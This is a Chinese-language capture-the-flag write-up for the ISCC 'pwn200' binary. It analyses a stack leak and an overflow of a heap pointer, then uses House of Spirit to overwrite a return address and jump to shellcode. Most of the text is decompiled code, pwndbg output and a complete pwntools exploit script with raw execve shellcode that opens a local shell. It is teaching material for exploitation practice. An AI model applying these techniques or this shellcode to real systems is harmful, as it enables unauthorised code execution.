pwn200
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ➜ [/home/ywhkkx/桌面] ./pwn200 who are u? ywhkkx ywhkkx, welcome to ISCC~ give me your id ~~? 13 give me money~ 200 =======EASY HOTEL======== 1. check in2. check out3. goodbyeyour choice :
1 2 3 4 5 6 7 8 9 pwn200: ELF 64 -bit LSB executable, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , for GNU/Linux 2.6 .24 , BuildID[sha1]=5 a7b9f542c0bf79112b5be3f0198d706cce1bcad, stripped [*] '/home/ywhkkx/桌面/pwn200' Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000 ) RWX: Has RWX segments
64位,全关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 void pwn () { __int64 i; char v1[48 ]; puts ("who are u?" ); for ( i = 0LL ; i <= 47 ; ++i ) { read(0 , &v1[i], 1uLL ); if ( v1[i] == 10 ) { v1[i] = 0 ; break ; } } printf ("%s, welcome to ISCC~ \n" , v1); puts ("give me your id ~~?" ); getNum(); pwn2(); }
1 2 3 4 5 6 7 8 9 10 11 12 void pwn2 () { char buf[56 ]; char *dest; dest = (char *)malloc (0x40 uLL); puts ("give me money~" ); read(0 , buf, 0x40 uLL); strcpy (dest, buf); ptr = dest; hotel(); }
存在栈溢出,buf 越界覆盖了 dest
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 void hotel () { int Num; while ( 1 ) { while ( 1 ) { menu(); Num = getNum(); if ( Num != 2 ) break ; checkOut(); } if ( Num == 3 ) break ; if ( Num == 1 ) checkIn(); else puts ("invalid choice" ); } puts ("good bye~" ); }
标准的堆模板
1 2 3 4 5 6 7 8 9 10 11 12 13 void checkOut () { if ( ptr ) { puts ("out~" ); free (ptr); ptr = 0LL ; } else { puts ("havn't check in" ); } }
free 有一个基础检查,置空了指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 void checkIn () { int size; if ( ptr ) { puts ("already check in" ); } else { puts ("how long?" ); size = getNum(); if ( size <= 0 || size > 0x80 ) { puts ("invalid length" ); } else { ptr = malloc (size); printf ("give me more money : " ); printf ("\n%d\n" , (unsigned int )size); read(0 , ptr, (unsigned int )size); puts ("in~" ); } } }
入侵思路
没有开NX,很明显是为了打 shellcode 注入
1 2 3 4 5 6 7 8 9 for ( i = 0LL ; i <= 47 ; ++i ){ read(0 , &v1[i], 1uLL ); if ( v1[i] == 10 ) { v1[i] = 0 ; break ; } }
这里有个很明显的漏洞:read 需要检查到“\n”才会写入“\x00”,如果 48 次循环后没有输入“\n”,就会造成 leak,先在GDB中看看是哪个数据“leak”了:(在IDA中看就是rbp)
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> search -s aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa warning: Unable to access 16000 bytes of target memory at 0x7ffff7bd2d1f , halting search. [stack ] 0x7fffffffb680 0x6161616161616161 ('aaaaaaaa' ) [stack ] 0x7fffffffdd40 0x6161616161616161 ('aaaaaaaa' ) pwndbg> x/20 xg 0x7fffffffb680 0x7fffffffb680 : 0x6161616161616161 0x6161616161616161 0x7fffffffb690 : 0x6161616161616161 0x6161616161616161 0x7fffffffb6a0 : 0x6161616161616161 0x6161616161616161 0x7fffffffb6b0 : 0x202c7fffffffdd90 0x20656d6f636c6577 0x7fffffffb6c0 : 0x7e43435349206f74 0x0000000000000a20 0x7fffffffb6d0 : 0x0000000000000000 0x0000000000000000 0x7fffffffb6e0 : 0x0000000000000000 0x0000000000000000
泄露了 rbp 的地址,我们就可以把 shellcode 放在栈中,用 rbp 来计算 shellcode 的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64' ) payload = b'' payload += shellcode.ljust(48 ) p.recvuntil('who are u?\n' ) p.send(payload) p.recvuntil(payload) rbp_addr = u64(p.recvn(6 ).ljust(8 , b'\x00' )) success('rbp_addr >> ' +hex (rbp_addr)) shellcode_addr = rbp_addr - 0x50 success("shellcode_addr: " +hex (shellcode_addr)) fake_addr = rbp_addr - 0x90 success("fake_addr: " +hex (fake_addr))
首先我们是可以控制 free 的:(通过 buf 溢出到 *dest)
1 2 char buf[56 ]; char *dest;
那么就可以利用 House Of Spirit 进行 WAA,但是选择 free 哪个地址呢?
在 GDB 中,把 rbp_addr 向上打印,并标记出可以控制的区域(还要留心“数字”)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 pwndbg> telescope 0x7fffc43095b0 -0x100 00 :0000 │ 0x7fffc43094b0 —▸ 0x400cb7 ◂— imul esi, dword ptr [esi + 0x65 ], 0x20656d20 01 :0008 │ 0x7fffc43094b8 —▸ 0x7f48002ecbd2 (puts +418 ) ◂— cmp eax, -1 02 :0010 │ 0x7fffc43094c0 ◂— 0x50000 03 :0018 │ 0x7fffc43094c8 ◂— 0x0 04 :0020 │ 0x7fffc43094d0 —▸ 0x7fffc4309530 —▸ 0x7fffc4309590 —▸ 0x7fffc43095b0 —▸ 0x400b60 ◂— ...05 :0028 │ 0x7fffc43094d8 —▸ 0x4006b0 ◂— xor ebp, ebp06 :0030 │ 0x7fffc43094e0 —▸ 0x7fffc4309690 ◂— 0x1 07 :0038 │ rsp 0x7fffc43094e8 —▸ 0x400a64 ◂— lea rdx, [rbp - 0x40 ]pwndbg> 08 :0040 │ rsi 0x7fffc43094f0 —▸ 0x7fffc4309690 ◂— 0x1 09 :0048 │ 0x7fffc43094f8 ◂— 0x0 0 a:0050 │ 0x7fffc4309500 ◂— 0x0 0b :0058 │ 0x7fffc4309508 —▸ 0x7f48002ac740 (atoi+16 ) ◂— add rsp, 8 0 c:0060 │ 0x7fffc4309510 ◂— 9 0 d:0068 │ 0x7fffc4309518 —▸ 0x4008b5 ◂— leave 0 e:0070 │ 0x7fffc4309520 —▸ 0x7fffc4003233 ◂— 0x0 0f :0078 │ 0x7fffc4309528 —▸ 0x1b67260 ◂— 0x0 pwndbg> 10 :0080 │ rbp 0x7fffc4309530 —▸ 0x7fffc4309590 —▸ 0x7fffc43095b0 —▸ 0x400b60 ◂— push r15 11 :0088 │ 0x7fffc4309538 —▸ 0x400b34 ◂— leave 12 :0090 │ 0x7fffc4309540 —▸ 0x7f48006542a0 (_IO_file_jumps) ◂— 0x0 13 :0098 │ 0x7fffc4309548 —▸ 0x7f48002f68c9 (_IO_file_setbuf+9 ) ◂— test rax, rax14 :00 a0│ 0x7fffc4309550 ◂— 0x30 15 :00 a8│ 0x7fffc4309558 ◂— 0x20 16 :00b 0│ 0x7fffc4309560 ◂— 0x91969dd1bb48c031 17 :00b 8│ 0x7fffc4309568 ◂— 0x53dbf748ff978cd0
现在的目的是:利用 WAA 把“shellcode_addr”写入某个函数的返回地址
这里选择写入“0x7fffc4309538”(pwn2的返回地址),下面说明原因:
1 11 :0088 │ 0x7fffc4309538 —▸ 0x400b34 ◂— leave
1 2 3 4 5 6 08 :0040 │ rsi 0x7fffc43094f0 —▸ 0x7fffc4309690 ◂— 0x1 ............ 10 :0080 │ rbp 0x7fffc4309530 —▸ 0x7fffc4309590 —▸ 0x7fffc43095b0 —▸ 0x400b60 ◂— push r15 ............ 14 :00 a0│ 0x7fffc4309550 ◂— 0x30 15 :00 a8│ 0x7fffc4309558 ◂— 0x20
House Of Spirit 需要写入“chunk->size”和“nextchunk->size”,在发现数字“0x30”和“0x20”后,发现它距离“可控区域”不远,所以选择离他们最近的返回地址“0x7fffc4309538”作为目标地址(并且这个地址在“可控区域”以外,不用担心它被覆写)
因为最后要写入“0x7fffc4309538”,所以必须 free 这之前的地址,这样申请回来的时候就可以向下控制,这里选择“0x7fffc4003233”
1 0 e:0070 │ 0x7fffc4309520 —▸ 0x7fffc4003233 ◂— 0x0
对写入的数据进行构思,使“chunk->size”和“nextchunk->size”可以接上:
1 2 3 4 data = p64(0 ) * 4 + p64(0 ) + p64(0x41 ) data = data.ljust(56 , b'\x00' ) + p64(fake_addr) print (data)p.send(data)
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> stack 50 00 :0000 │ rsi rsp 0x7fffc43094f0 ◂— 0x0 ... ↓ 4 skipped 05 :0028 │ 0x7fffc4309518 ◂— 0x41 06 :0030 │ rax rdi 0x7fffc4309520 ◂— 0x0 07 :0038 │ 0x7fffc4309528 —▸ 0x7fffc4309520 ◂— 0x0 08 :0040 │ rbp 0x7fffc4309530 —▸ 0x7fffc4309590 —▸ 0x7fffc43095b0 —▸ 0x400b60 ◂— push r1509 :0048 │ 0x7fffc4309538 —▸ 0x400b34 ◂— leave 0 a:0050 │ 0x7fffc4309540 —▸ 0x7f48006542a0 (_IO_file_jumps) ◂— 0x0 0b :0058 │ 0x7fffc4309548 —▸ 0x7f48002f68c9 (_IO_file_setbuf+9 ) ◂— test rax, rax0 c:0060 │ 0x7fffc4309550 ◂— 0x30 0 d:0068 │ 0x7fffc4309558 ◂— 0x20
1 2 In [4 ]: hex(0x7fffc4309518 +0x40 ) Out[4 ]: '0x7fffc4309558'
释放掉这个假chunk,再申请回来,就可以控制目标地址了(0x7fffc4309538)
1 2 3 4 5 6 7 8 9 10 11 p.recvuntil('choice : ' ) p.sendline('2' ) p.recvuntil('choice : ' ) p.sendline('1' ) p.recvuntil('long?' ) p.sendline('48' ) data = b'a' * 0x18 + p64(shellcode_addr) data = data.ljust(48 , b'\x00' ) p.send(data)
1 2 3 4 5 6 7 8 pwndbg> telescope 0x7fffc4309520 00 :0000 │ 0x7fffc4309520 ◂— 0x6161616161616161 ('aaaaaaaa' )... ↓ 2 skipped 03 :0018 │ 0x7fffc4309538 —▸ 0x7fffc4309560 ◂— 0x91969dd1bb48c031 04 :0020 │ 0x7fffc4309540 ◂— 0x0 05 :0028 │ 0x7fffc4309548 ◂— 0x0 06 :0030 │ 0x7fffc4309550 ◂— 0x30 07 :0038 │ 0x7fffc4309558 ◂— 0x20
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import * context.log_level = 'debug' p = process('./pwn200' ) free_got = 0x0000000000602018 shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' payload = b'' payload += shellcode.ljust(48 ) p.recvuntil('who are u?\n' ) p.send(payload) p.recvuntil(payload) rbp_addr = u64(p.recvn(6 ).ljust(8 , b'\x00' )) success('rbp_addr >> ' +hex (rbp_addr)) shellcode_addr = rbp_addr - 0x50 success("shellcode_addr: " +hex (shellcode_addr)) fake_addr = rbp_addr - 0x90 success("fake_addr: " +hex (fake_addr)) p.recvuntil('give me your id ~~?\n' ) p.sendline('32' ) p.recvuntil('give me money~\n' ) data = p64(0 ) * 4 + p64(0 ) + p64(0x41 ) data = data.ljust(56 , b'\x00' ) + p64(fake_addr) p.send(data) p.recvuntil('choice : ' ) p.sendline('2' ) p.recvuntil('choice : ' ) p.sendline('1' ) p.recvuntil('long?' ) p.sendline('48' ) data = b'a' * 0x18 + p64(shellcode_addr) data = data.ljust(48 , b'\x00' ) p.send(data) p.recvuntil('choice' ) p.sendline('3' ) p.interactive()
house of spirit 小结 (2.27~2.31-64位)
当考虑使用 house of spirit 时,一定要多多关注“可控区域”里的“数字”(有时候会利用“计数器”来构造“数字”)
利用这些“数字”充当“chunk->size”或者“nextchunk->size”,并调节“size”的大小使其可以连接起来,这样一般就可以通过 free 的检查了
注意:GDB中的“bins”指令看不见 free 掉的 fake_chunk,GDB也不会在 fastbin 中显示 fake_chunk,但是实际上是可以直接申请 fake_chunk 的